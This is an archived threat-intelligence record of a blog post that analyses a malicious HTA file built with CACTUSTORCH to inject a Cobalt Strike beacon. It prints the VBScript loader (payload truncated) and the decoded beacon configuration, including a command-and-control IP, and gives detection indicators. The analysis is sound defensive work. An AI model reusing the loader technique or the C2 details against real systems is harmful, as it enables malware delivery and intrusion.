{
	"id": "d485b491-752a-4a3d-ab6a-8f20f3440c4f",
	"created_at": "2026-04-06T00:19:53.538923Z",
	"updated_at": "2026-04-10T03:24:24.30953Z",
	"deleted_at": null,
	"sha1_hash": "7068ebc3213694a76fd7c1f582b09ea762fdb17b",
	"title": "Analyzing a CACTUSTORCH HTA Leading to Cobalt Strike",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 217738,
	"plain_text": "Analyzing a CACTUSTORCH HTA Leading to Cobalt Strike\r\nPublished: 2022-01-16 · Archived: 2026-04-05 18:53:02 UTC\r\nThere are loads of different ways adversaries can distribute Cobalt Strike beacons and other malware. One of the common\r\nmethods includes using HTML Application (HTA) files. In this post I’m going to look at a malicious HTA file created using\r\nCACTUSTORCH and designed to distribute a Cobalt Strike beacon. If you want to follow along at home, the sample is in\r\nMalwareBazaar here:\r\nhttps://bazaar.abuse.ch/sample/4d4d70e1918494a0a39641bd8dbfc23ae6451f3d20396b43f150623b8cfe4e93/\r\nTriaging the File\r\nMalwareBazaar tags say the file is a HTA, and we can use file and head to confirm this.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nremnux@remnux:~/cases/hta-cs$ file 1234.hta\r\n1234.hta: HTML document, ASCII text, with very long lines, with CRLF line terminators\r\nremnux@remnux:~/cases/hta-cs$ head -c 100 1234.hta\r\n\u003cscript language=\"VBScript\"\u003e\r\nDim binary : binary = \"notepad.exe\"\r\nDim code : code = \"TVroAAAAAFuJ31\r\nAlrighty then, it looks like file thinks the sample is a HTML document (containing HTML tags). The head command\r\nshows us the first 100 bytes here, and it looks like the file does contain at least one script HTML tag.\r\nLet’s take a look at the content!\r\nAnalyzing the HTA Content\r\nI’ve included the contents of the HTA below, truncating a lot of base64 code that was included so we can see the good stuff.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n\u003cscript language=\"VBScript\"\u003e\r\nDim binary : binary = \"notepad.exe\"\r\nDim code : code = \"TVroAAAAAFuJ31J...\"\r\nSub Debug(s)\r\nEnd Sub\r\nSub SetVersion\r\nEnd Sub\r\nFunction Base64ToStream(b)\r\n Dim enc, length, ba, transform, ms\r\n Set enc = CreateObject(\"System.Text.ASCIIEncoding\")\r\n length = enc.GetByteCount_2(b)\r\n Set transform = CreateObject(\"System.Security.Cryptography.FromBase64Transform\")\r\n Set ms = CreateObject(\"System.IO.MemoryStream\")\r\n ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)\r\n ms.Position = 0\r\n Set Base64ToStream = ms\r\nEnd Function\r\nSub Run\r\nDim s, entry_class\r\ns = \"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy\"\r\ns = s \u0026 \"AwAAAAhEZWx...\"\r\nentry_class = \"cactusTorch\"\r\nDim fmt, al, d, o\r\nSet fmt = CreateObject(\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\")\r\nSet al = CreateObject(\"System.Collections.ArrayList\")\r\nal.Add fmt.SurrogateSelector\r\nSet d = fmt.Deserialize_2(Base64ToStream(s))\r\nSet o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)\r\no.flame binary,code\r\nEnd Sub\r\nhttps://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/\r\nPage 1 of 4\n\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\nSetVersion\r\nOn Error Resume Next\r\nRun\r\nIf Err.Number \u003c\u003e 0 Then\r\n Debug Err.Description\r\n Err.Clear\r\nEnd If\r\nself.close\r\n\u003c/script\u003e\r\nWhen looking at the sample there are a few things that stand out. First, there are two large chunks of base64 code in the file.\r\nThe filesize of the HTA is around 287 KiB, which is really hefty for a text file. When you have plaintext files that large, we\r\ncan usually assume there are obfuscation schemes or binary/shellcode content embedded. In this case, the strings and\r\nvariable names are too neat and not scrambled, so obfuscation is out. The first base64 chunk starts with TVro , which\r\ndecodes to a MZ header seen with Windows EXEs.\r\nThe second big thing that stands out is binary = \"notepad.exe\" . This is a quick and simple indicator for our analysis.\r\nProcess names like this in malicious code typically mean that the malicious binary content will be saved and executed as the\r\nprocess name or injected into a process of the same name. If the name is a legitimate Windows binary I tend to lean toward\r\nthe latter case of injection.\r\nFinally, entry_class = \"cactusTorch\" is significant. This line of code leads us to the CACTUSTORCH project’s HTA\r\ntemplate. CACTUSTORCH is a project to embed Cobalt Strike beacons into script content such as HTA and VBS files.\r\nThankfully, the template gives us a head start on analysis. The second base64 chunk is static content and the first looks to be\r\nvariable content containing the actual payload. With that in mind, let’s extract the payload.\r\nDecoding the Payload\r\nTo decode the payload, we can place all the base64 content into its own file and then use the base64 -d command to get\r\nthe cleartext payload.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nremnux@remnux:~/cases/hta-cs$ cat payload.b64 | base64 -d \u003e payload.bin\r\nremnux@remnux:~/cases/hta-cs$ file payload.bin\r\npayload.bin: MS-DOS executable PE32 executable (DLL) (GUI) Intel 80386, for MS Windows\r\nremnux@remnux:~/cases/hta-cs$ md5sum payload.bin\r\n86a7eaba09313ab6b4a01a5e6d573acc payload.bin\r\nBy searching for the MD5 hash on VirusTotal we can see someone’s already reported the beacon executable content and a\r\nload of vendors detect it as Cobalt Strike. Let’s squeeze some more indicators from this beacon using 1768.py:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\nremnux@remnux:~/cases/hta-cs$ 1768.py payload.bin\r\nFile: payload.bin\r\npayloadType: 0x10014a34\r\npayloadSize: 0x00000000\r\nintxorkey: 0x00000000\r\nid2: 0x00000000\r\nConfig found: xorkey b'.' 0x0002fe20 0x00033000\r\n0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http\r\n0x0002 port 0x0001 0x0002 12342\r\n0x0003 sleeptime 0x0002 0x0004 60000\r\n0x0004 maxgetsize 0x0002 0x0004 1048576\r\n0x0005 jitter 0x0001 0x0002 0\r\n0x0006 maxdns 0x0001 0x0002 255\r\n0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d00308189028181009352527b27bf\r\n0x0008 server,get-uri 0x0003 0x0100 '42.193.229.33,/j.ad'\r\n0x0009 useragent 0x0003 0x0080 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'\r\n0x000a post-uri 0x0003 0x0040 '/submit.php'\r\n0x000b Malleable_C2_Instructions 0x0003 0x0100\r\n Transform Input: [7:Input,4]\r\nhttps://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/\r\nPage 2 of 4\n\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n Print\r\n0x000c http_get_header 0x0003 0x0100\r\n Build Metadata: [7:Metadata,3,6:Cookie]\r\n BASE64\r\n Header Cookie\r\n0x000d http_post_header 0x0003 0x0100\r\n Const_header Content-Type: application/octet-stream\r\n Build SessionId: [7:SessionId,5:id]\r\n Parameter id\r\n Build Output: [7:Output,4]\r\n Print\r\n0x000e SpawnTo 0x0003 0x0010 (NULL ...)\r\n0x001d spawnto_x86 0x0003 0x0040 '%windir%\\\\syswow64\\\\rundll32.exe'\r\n0x001e spawnto_x64 0x0003 0x0040 '%windir%\\\\sysnative\\\\rundll32.exe'\r\n0x000f pipename 0x0003 0x0080 (NULL ...)\r\n0x001f CryptoScheme 0x0001 0x0002 0\r\n0x0013 DNS_Idle 0x0002 0x0004 0 0.0.0.0\r\n0x0014 DNS_Sleep 0x0002 0x0004 0\r\n0x001a get-verb 0x0003 0x0010 'GET'\r\n0x001b post-verb 0x0003 0x0010 'POST'\r\n0x001c HttpPostChunk 0x0002 0x0004 0\r\n0x0025 license-id 0x0002 0x0004 305419896\r\n0x0026 bStageCleanup 0x0001 0x0002 0\r\n0x0027 bCFGCaution 0x0001 0x0002 0\r\n0x0036 HostHeader 0x0003 0x0080 (NULL ...)\r\n0x0032 UsesCookies 0x0001 0x0002 1\r\n0x0023 proxy_type 0x0001 0x0002 2 IE settings\r\n0x0037 EXIT_FUNK 0x0001 0x0002 0\r\n0x0028 killdate 0x0002 0x0004 0\r\n0x0029 textSectionEnd 0x0002 0x0004 0\r\n0x002b process-inject-start-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE\r\n0x002c process-inject-use-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE\r\n0x002d process-inject-min_alloc 0x0002 0x0004 0\r\n0x002e process-inject-transform-x86 0x0003 0x0100 (NULL ...)\r\n0x002f process-inject-transform-x64 0x0003 0x0100 (NULL ...)\r\n0x0035 process-inject-stub 0x0003 0x0010 '¥l\\x818d¯\\x87\\x8aL\\x10\\x08\u003c¡W\\x8e\\n'\r\n0x0033 process-inject-execute 0x0003 0x0080 '\\x01\\x02\\x03\\x04'\r\n0x0034 process-inject-allocation-method 0x0001 0x0002 0\r\n0x0000\r\nGuessing Cobalt Strike version: 4.0 (max 0x0037)\r\nThe most actionable indicators from this output are:\r\nserver,get-uri ‘42.193.229.33,/j.ad’\r\nport 12342\r\nuseragent ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)’\r\npost-uri ‘/submit.php’\r\nspawnto_x86 ‘%windir%\\syswow64\\rundll32.exe’\r\nspawnto_x64 ‘%windir%\\sysnative\\rundll32.exe’\r\nThe server, get-uri, set-uri, port, and useragent fields are pretty helpful for network-based detection telemetry. In you can use\r\nPCAP, logs, or Netflow evidence to spot one or more of these components. The useragent and post-uri fields will need to be\r\ncombined with additional data to be effective. The spawnto_* fields are helpful for endpoint-based detection telemetry. You\r\ncan use Sysmon, EDR, or whatever else to look for suspicious instances of rundll32.exe with no command line. For this\r\nparticular threat, we’ll likely see a process ancestry of mshta.exe -\u003e notepad.exe -\u003e rundll32.exe .\r\nA data point that is less actionable but still interesting is the license-id/watermark. In this case the beacon contains the\r\nlicense-id value 305419896 . This value has been seen in multiple incidents over the last few years, and it corresponds with\r\na leaked version of Cobalt Strike.\r\nNow that we’ve squeezed all those indicators out of the beacon, let’s try and confirm the process ancestry for endpoint\r\ndetection analytics.\r\nUsing a Sandbox Report to Confirm Behavior\r\nThankfully, a sandbox report for the HTA already exists thanks to VMRay:\r\nhttps://www.vmray.com/analyses/4d4d70e19184/report/overview.html\r\nLooking over at the “Behavior” tab, we can confirm at least part of the ancestry:\r\nhttps://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/\r\nPage 3 of 4\n\nSo for detection analytics we can look for instances of notepad.exe spawning from mshta.exe to find suspicious behavior for\r\nthis threat. Thanks for reading!\r\nSource: https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/\r\nhttps://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/"
	],
	"report_names": [
		"analyzing-cactustorch-hta-cobaltstrike"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434793,
	"ts_updated_at": 1775791464,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7068ebc3213694a76fd7c1f582b09ea762fdb17b.pdf",
		"text": "https://archive.orkl.eu/7068ebc3213694a76fd7c1f582b09ea762fdb17b.txt",
		"img": "https://archive.orkl.eu/7068ebc3213694a76fd7c1f582b09ea762fdb17b.jpg"
	}
}